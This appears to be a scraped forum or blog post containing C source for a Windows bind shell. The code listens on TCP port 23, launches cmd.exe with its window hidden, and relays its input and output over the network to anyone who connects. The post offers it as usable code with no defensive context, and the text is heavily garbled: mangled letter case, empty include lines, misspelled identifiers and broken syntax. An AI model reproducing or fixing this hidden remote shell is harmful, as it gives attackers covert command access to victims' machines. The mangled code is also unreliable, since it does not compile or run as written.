A shell source code

xiaoxiao2021-03-06  15

#include #include #include #pragma Comment (lib, "ws2_32.lib") # Pragma Comment (lib, "kernel32.lib")

#define port 23

Socket Serversocket = Invalid_Socket; Socket ClientSocket = Invalid_Socket; Handle Hreadpipe, HwritePipe, Hwritefile, HreadFile; U_CHAR VARA, VARB

DWORD WINAPI Threadfunca (LPVOID LPPARAM) {security_attributes pipeattr; DWORD NBYTETOWRITE, NBYTEWRITEN; CHAR Recv_buff [1024]

PiPEATTR.NLENGTH = SIPEOF (Security_Attributes); PipeAttr.lpsecurityDescriptor = null; pipeattr.binherithandle = true; createpipe (& HreadPipe, & hwritefile,));

VARA = 1; While (TRUE) {Sleep (250); NByTetowrite = Recv (ClientSocket, Recv_buff, 1024, 0); Writefile (HWritefile, Recv_buff, NBytetowrite, & nbytewritten, null);} return 0;}

DWORD WINAPI ThreadFuncb (LPVOID LPPARAM) {security_attributes pipeattr; dword gen; char send_buff [25000];

Pipeattr.nlength = sizeof (security_attribute); pipeattr.lpsecurityDescriptor = null; pipeattr.binherithandle = true;

CreatePipe (& Hreadfile, & HwritePipe, & PiPEATTR, 0);

Varb = 1; while (True) {readfile (Hreadfile, Send_buff, 25000, & len, null);

Send (ClientSocket, Send_Buff, Len, 0);} Return 0;

Int WinApi Winmain (Hinstance Hinstance, Hinstance Hprevinstance, LPSTR LPCMDLINE, INT NCMDSHOW)

{WSADATA WSAData; struct sockaddr_in RemoteAddr; int nRetCode; DWORD dwThreadIdA, dwThreadIdB, dwThreadParam = 0; OSVERSIONINFO osvi; PROCESS_INFORMATION processinfo; STARTUPINFO startinfo;

WSAStartup (MAKEWORD (2,2), & WSAData); ServerSocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); RemoteAddr.sin_family = AF_INET; RemoteAddr.sin_port = htons (PORT); RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

Bind (Serversocket, (LPSOCKADDR) & RemoteAddr, SizeOf (RemoteAddr)); Listen (Serversocket, 5);

VARA = 0; varb = 0; CreateThread (Null, 0, Threadfunca, Null, 0, & DWTHREADIDA); CreateThread (Null, 0, Threadfuncb, Null, 0, & DWTHREADIDB);

Do {Sleep (250);} while ((Vara || VarB) == 0);

GetStartupInfo (& startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; startinfo.hStdInput = hReadPipe; startinfo.hStdError = hWritePipe; startinfo.hStdOutput = hWritePipe; startinfo.wShowWindow = SW_HIDE;

Osvi.dwosversionInfosize = SizeOf (OsversionInfo);

GetversionEx; char szapp [256]; getSystemDirectory (szapp, max_path 1);

IF (Osvi.dwplatformID == 2) {strcat (SZAPP, "// cmd.exe"); if (CreateProcess (Szapp, Null, Null, Null, True, 0, Null, Null, & StartInfo, & ProcessInfo) == 0 ) {Printf ("CreateProcess Error! / N"); return;}} else {strat (szapp, "// command.exe"); CreateProcess (Null, Szapp, 0, 0, True, 0, 0, 0, & StartInfo, & Processinfo);

While (True) {ClientSocket = Accept (Serversocket, Null, Null); Sleep (250);}}

转载请注明原文地址:https://www.9cbs.com/read-41237.html

New Post(0)